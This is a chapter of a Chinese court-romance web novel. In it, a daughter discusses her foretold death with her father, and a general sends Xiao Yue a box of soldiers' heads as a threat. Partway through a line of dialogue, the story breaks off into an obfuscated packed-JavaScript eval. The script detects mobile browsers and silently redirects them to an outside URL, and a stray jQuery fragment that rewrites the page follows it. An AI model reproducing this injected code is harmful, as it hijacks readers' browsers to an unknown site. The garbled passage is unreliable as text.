乔应舟虎躯一震一震又一震。


    乔婉眠豪饮一杯，结束，“……然后萧大人就派爹爹接我，后面你都知晓了。”


    乔应舟颤巍巍确认：“……最初你梦到的是你死后萧大人娶你牌位？”


    乔婉眠方才已告知乔应舟，她的前世死劫当是已糊弄过去了，闻言不明所以地眨眼：“是，怎么？”


    乔应舟凝视着她，透过她的眉眼，仿佛再见亡妻。


    他居然毫不知情。乔应舟心中泛起一阵酸涩，像被人狠狠攥住心脏。


    离开的日子里，儿女都有过生死之危，他对不起亡妻与爹娘，更对不起两个孩子。


    尤其女儿满心以为现下已经安全，完全放松了戒备，殊不知但仅凭萧越想娶她，就足以说明死劫可能仍在。


    今日起他必护好女儿。


    至于嫁人……在没确她过了死劫之前，不行！男人也不是什么靠谱东西，大不了一辈子不嫁！


    乔婉眠见父亲神色变幻，心中好奇，绕着他转了一圈，裙摆微漾如流水。


    她歪头，调皮道：“这是怎么了？吓到了？”


    乔应舟缓神，沉声道：“莫忘了大人从前是做什么的。你那点小心机，早被看穿了。从前怎么教你的？”


    乔婉眠多年未见过父亲如此严肃，当即怂了，垂着头背书，“各人自扫门前雪，莫管他人瓦上霜。梦见旁人的事一律不插手。”


    又忍不住辩解：“可我们一直都只是这么说，从不袖手旁观！何况祖父临终前也交代我们，若有机会要对萧家人尽忠。”


    说得是。


    乔应舟长叹一声，无可奈何地靠回椅背。


    他抬手揉了揉眉心，语气疲惫：“爹是急昏头了，乖女莫计较。”


    这些日子，他原本一直在暗自窃喜。


    眼看着眠眠与萧越越走越近，他知道，离做萧越老丈人的日子不远了。


    可他忘了，福祸相依。


    两情相悦的鸳鸯身后，还有死亡一直如影随形。


    又想起自己对萧越的承诺——绝不提前告知眠眠他想娶她的事。


    如今，事态严重，得让她知晓。


    乔应舟深吸一口气，目光凝重：“你如何确定死劫已过？”


    乔婉摩挲着袖口的绣花，黛眉微颦，努力理清脑中思绪，缓缓道：“前世，婚宴在长庆侯府，可常庆侯已随第二子去了岭南，现下还在路上，如今那处已经空置。”


    “且在梦中，喜帖上写明了大盛二十一年十二月初三。若硬要严谨算，女儿现下就身死，你们通知侯爷急回开阳，大人再放下西原事务，快马加鞭回去求皇帝赐婚，或许还赶得上将婚宴及时办了。”


    乔应舟皱眉拍一下女儿后脑勺，“净胡扯，快敲桌。”


    乔婉眠敲三下继续道：“从开始就都是误会。前世女儿不做预知梦，也不会想到去求他，也就不会去侯府。前世今生，我们经历的时间、人事物的轨迹早已巨变，我大概已改命了。现下当做的便是向前看，女儿不想沉迷在惶恐中蹉跎岁月。”


    有道理是有道理，但老父亲注定没办法放心。


    乔应舟沉吟片刻，终于下定决心：“事到如今，我就不瞒你了。前几日，萧大人私下找爹，说他对你痴心一片，想有一日八抬大轿迎娶你。”


    乔婉眠闻言，脸颊染上绯红，像只熟透的小虾子。


    她低下头，手指紧紧攥着衣角，说话羽毛似的：“你们背着我，瞎说了什么呀。萧越那么凶，我才不嫁。”


    至于那些亲亲……哼，算赏他的。


    乔应舟见她这般，既怜又忧，沉声道：“日子不到，你就仍在危险中。现下十月初，还要等两个月。十二月初三之前，你就与他保持距离，老老实实呆着。”


    等等，“保持距离”？


    乔婉眠升起一种不好的预感，小心问：“那我今夜能否去守着大人？”


    乔应舟瞪眼，“整晚？”


    乔婉眠唯唯诺诺地点头。


    乔应舟大手一挥，“不可！绝对不可！”


    -


    父女俩还在厢房拉扯，院外忽然传来一阵急促的砸门声，门板被震得“咚咚”作响，连枝头上栖息的寒鸦都被惊得扑棱棱飞走，留下一串刺耳的啼鸣。


    乔婉眠刚与她爹扯过一件狐毛滚边的斗篷披上，就听一道浑厚的男声说：“末将镇西军前军前锋营小旗，奉林如海林老将军之令，前来献礼。将军命小的们亲眼看萧大人收下，否则我等提头回去！”


    “军令如山！求大人放行！”


    启束与刃刀对视一眼，隔着门道：“谢林将军美意。但大人病了，不见客，什么礼，就房门外罢。”


    话音未落，又传来一阵用手掌“啪啪”的拍门声，一个年轻男子的声音紧随其后：“下官监察团左督御史谢俞，求见大人！”


    若说小将的语气是哀求，那谢俞的语气就是苦口婆心的劝诫。


    谢俞继续道：“大人，这些日子下官尽量不使案牍之劳打扰大人，是想给大人时间。只是时疫关乎万民生计，谣传散播易引百姓恐慌，甚至逃离故乡，沦为流民，不该是大人逃避是非的借口。大人丰神俊朗，英武非凡，若非亲见，俞绝不信以大人之资会染上恶疾。今日，俞愿赌命求见。”他又补充，语气忌惮：“且林将军之礼，大人还是亲眼看看的好。”


    乔诚站到父女俩身边，目露赞许，背着手道：“谢俞是上届探花，今年才二十五。原是清贵翰林，是自请跟着监察团的，能力还不错。瞧瞧，刚直不阿，勇于谏言，不愧是未来要登堂拜相的英才。”


    乔婉眠羡慕道：“数一数二的聪明人就不信大人会病。”


    不像她，被几句谣传就唬得团团转。


    谢俞虽然也是倔乎乎想进来，但思想境界与她着实不同。


    刃刀吸吸鼻子，面色一沉。


    “送的什么礼？谢御史，这里确有瘟疫，你们若进来再走，宿城百姓危矣。”


    小旗回话：“请大人亲自过目。若不能将礼交到大人手上，小的们必死。只要放小的进去将礼送到，小的们即便染病，也生死无悔，离开后也绝不在城中停留，危及百姓。”


    乔诚叉腰骂：“林如海这是装都不装，摆明说宅里有眼线监视这些小卒。”


    乔应舟诧异：“他们没说有眼线啊。”


    乔诚一掌糊在弟弟头上，“他们大可以将礼放下就返回，为何不？”


    乔婉眠思索一阵，恍然。


    天已大亮，近处却传来几声夜鸮声，颇为诡异。


    启束刃刀对视一眼，拉开门。


    谢俞人如其声，身形挺拔清瘦，眉目清隽，着一身绿袍，扶着小厮跨进门。


    六个小兵抬着一口滴着粘腻液体的木箱紧随其后。


    木门在他们身后缓缓合上之时，浓烈的血腥腐臭味跟着席卷进来，原本充斥鼻腔的苦药味霎时被冲干净。


    乔婉眠原本就肚里空空，现下只觉得胃被人提起来倒悬，本能地蹲下干呕，抽空指着木箱问：“装的什么！？”


    士兵只垂目道：“求大人亲启。”


    乔婉眠仔细瞧那箱子。


    装军备的普通木箱，箱体下半部已被暗褐色的血迹浸染，底部甚至被一层层干涸的血痂包裹。箱底仍在不断溢出粘稠的血浆，一点点砸在院中的白石错角方砖上扩散，猩红刺眼。


    血？血！


    乔婉眠心头一紧，猛然回头看乔应舟。


    果然，他已经倒在乔城怀里，人事不知。


    乔诚低声：“我记得他晕血。”


    乔婉眠感激一拜。


    刃刀吩咐仆妇丫鬟退回厢房，并命护卫监督她们大声念经以掩盖院中的动静。


    随后，他拔出长剑，一剑挑开木箱锁扣。


    “咔嚓”一声，箱盖掀开的瞬间，一股浓烈的恶臭如巨浪般翻涌而出，瞬间淹没了整个院子。


    像烂肉混合着血腥，令人作呕。


    启束没憋住，干呕一声。他瞥了一眼箱内，脸色骤变，随即垂下眼，低声念起经文。


    谢俞原就被箱子的气味熏得脸色发青，此刻强撑着看了一眼箱内，顿时脸色煞白，全身瘫软，直接倒在了身旁的小厮身上。


    小厮是书童，扛不住探花郎的七尺身板，两人一同跌坐在地。


    谢俞顾不上起身，颤抖着手指向箱子，声音嘶哑地痛斥：“大、大胆林如海！竟敢藐视大盛国法，威胁朝廷御史！大人，您快来，林如海这是昏了头，要造反啊！”


    几个小兵都垂头不语。


    乔婉眠心中好奇，却又不敢靠近，只远远站着，目光在箱子和萧越屋门之间来回游移。


    刃刀敛剑对视一眼，去了萧越屋子。


    谢俞仍坐在地上，伸长脖子。


    隔了好一阵，屋门才缓缓拉开。


    刃刀和启束一左一右架着萧越，步履蹒跚地往院中央走。


    短短几步路，硬是走了一盏茶的工夫，仿佛每一步都重若千钧。


    无归院荷塘里的龟儿恐怕都比他们快。


    演得真细啊。


    要知道，这三位，平日走路都快得带风，与跑差不多。


    再看萧越，墨发随意披散，身上的灰色皮毛斗篷极长，几乎遮住了脚面，整个人像是被刃刀和启束强行拘着的一抹游魂，随时会挣脱而去。


    白纱根本遮掩不住他脸上大面积的溃烂，乔婉眠不忍多看，移开眼瞧院中人。


    谢俞满面通红，整理着袍子起身，长揖赔礼：“是俞狭隘，一叶障目，以己度人。大人请受下官一拜。”


    萧越费力颌首。


    刃刀见谢俞仍在埋头长揖，提醒：“谢大人，我家大人不怪你，你起来吧。”


    谢俞泪目再拜，声音哽咽：“大人宽宏，俞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980294|160709||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惭愧至极。”


    乔婉眠啧啧赞叹，小声对乔诚道：“他们这戏，真是滴水不漏。谢俞果真是温润君子。咦？但探花不该极俊吗？我看也不过尔尔。”


    “你当世上有几人有大人与温——咳，一样的容貌？谢俞已经是百姓甚至普通权贵此生都无缘一见的俊俏了。”


    乔婉眠真心实意地惋惜道：“原是这样。日后若有机会，我一定带着大人游街巡城，让人们都开开眼。”


    乔诚：“……加油。”


    萧越行至箱前，小旗才颤声道：“大人，这里都是前锋营的兄弟。林老将军说，萧大人冤死林城主又在此装病，延误了十日入土，耽误一天便换前锋营一条人命。加上今日，正好十颗头颅。”


    小旗跪下，“林老将军还说，路程给三天时间，三天后，您一天不亲自带着林城主尸身到镇西军大营赔罪，他就斩一个前锋营将士。前锋营斩完，还有重骑营、轻骑营……大人，我们是正经训练多年的正牌前锋军，亲如手足，实在不想在战场下折人。求大人，尽快出发。”


    说到后面，已是泣不成声。


    乔婉眠听得心头一颤，眼泪不由自主地滚落。


    她才明白箱上血迹时间为何有深浅之分——林如海竟逼他们一日斩一人，太过残忍。


    谢俞强压怒火，问小旗：“你们出发时几人？”


    几个小兵嚎啕大哭：“我们是林大人前年亲编的精锐小队，每队十六人。来的时候，人还是全的！”


    萧越似是嫌吵，烦躁挥手，敛剑叫停厢房中的背经，院里唯余落叶被风撕裂的声音。


    他猛咳几声，吐出一口黑血，沙哑道：“林如海，一军之主，小妇做派。徒伤将士，不堪为帅！跟下面说，所有愿意为国舍身之人，明日随本官动身去镇西军大营。”


    谢俞拦他：“大人万万不可！林如海这样相逼，路上应已部下了天罗地网。且其子叛国证据充足，他定逃不了干系，说不定还有齐人助他。何况大人身体……”


    启束眼神悲悯，把小兵一个个扶起。


    萧越冷笑一声，问：“那该如何？不足五万镇西军，够他杀多久？我若在此病死，你们就看着他将人屠尽？”


    谢俞失神，喃喃摇头：“不会的……不会的……总有其他办法。还未到山穷水尽处，定有办法的……对！我回去与他们从长计议，定有法子！”


    萧越断断续续道：“要见我是你，要我看礼也是你，拦我还是你。探花郎，监察团不是你一人的。传令出去，把今日林将军送的礼告知天下，凡愿意跟我走的，明日卯正前到西城门外候着。”


    院里只剩几个小兵哽咽道谢磕头的动静，风都停了几息。


    谢俞如遭雷击，在原地呆滞好一会儿，片刻后，他忽然疯了般冲上前，垫着脚一把抓住萧越的衣领，几乎与他脸贴脸，怒声吼道：“大人！收回成命罢！监察团御史加金吾卫五百余人，加上大人亲卫共千余人，再加宿城守军共四千余人，还有矿上救出的与这些天从其他地方赶来追随的百姓，共一万五千余人！”


    他的声音颤抖，眼中满是愤怒与绝望：“你带这么多性命，为几个本就该冲锋陷阵的前锋兵送死？值得吗？”


    几个小兵顿时呆住，脸上浮现出羞愧之色，低下头不敢再看萧越。


    萧越语气淡淡：“要死，也该死在战场上。谢大人以为，士兵们凭何愿为国浴血厮杀？况且，我已说了，我只带愿意随我走的。”


    谢俞冷哼一声，松开了手，拂袖道：“是俞年轻看走了眼，萧大人，你这般做派传回内陆，谁不夸一句‘爱惜将士’，看来你也跟之前那位将军一样，舍弃百姓性命，只要自己名声。”


    萧越咳得越发厉害，怒喝：“大胆！滚出去！”


    小兵们被谢俞说服，转而哀求萧越不要去。


    谢俞一甩广袖，睨接近的侍卫，“本官自己能走！我还急着出去劝同仁们莫随萧大人送死！”


    启束拦他：“大人留步。”他去厢房拿出几个草药包，叮嘱：“大人，这里已经住满了，回去千万要与人保持至少三丈远，若有发病征兆就自求多福罢。荷包里有药，遇体弱者可分而煎饮。”


    谢俞道过谢，与那几个悔得几欲自残的小兵前后离开。


    萧越被搀回去，院里又恢复那种死气沉沉的有条不紊。


    乔婉眠从密道钻进萧越房中，眉头紧锁，“探花郎说得不错，大人真要带那么多人去冒险？”


    萧越撤下面具揉脸，笑道：“牺牲在所难免，但真正在赌的人，只是我。”


    乔婉眠仰头看他，萧越站在窗边的光里，细微的灰尘在他周身飘浮，像是镀了一层金色的光晕。


    她的心跳忽然加快，脱口而出：“大人，这件事上，我能做什么？”


    萧越眯了眯眼，目光深邃地看向她，沉吟片刻后问道：“你……信温渐言对你的感情吗？”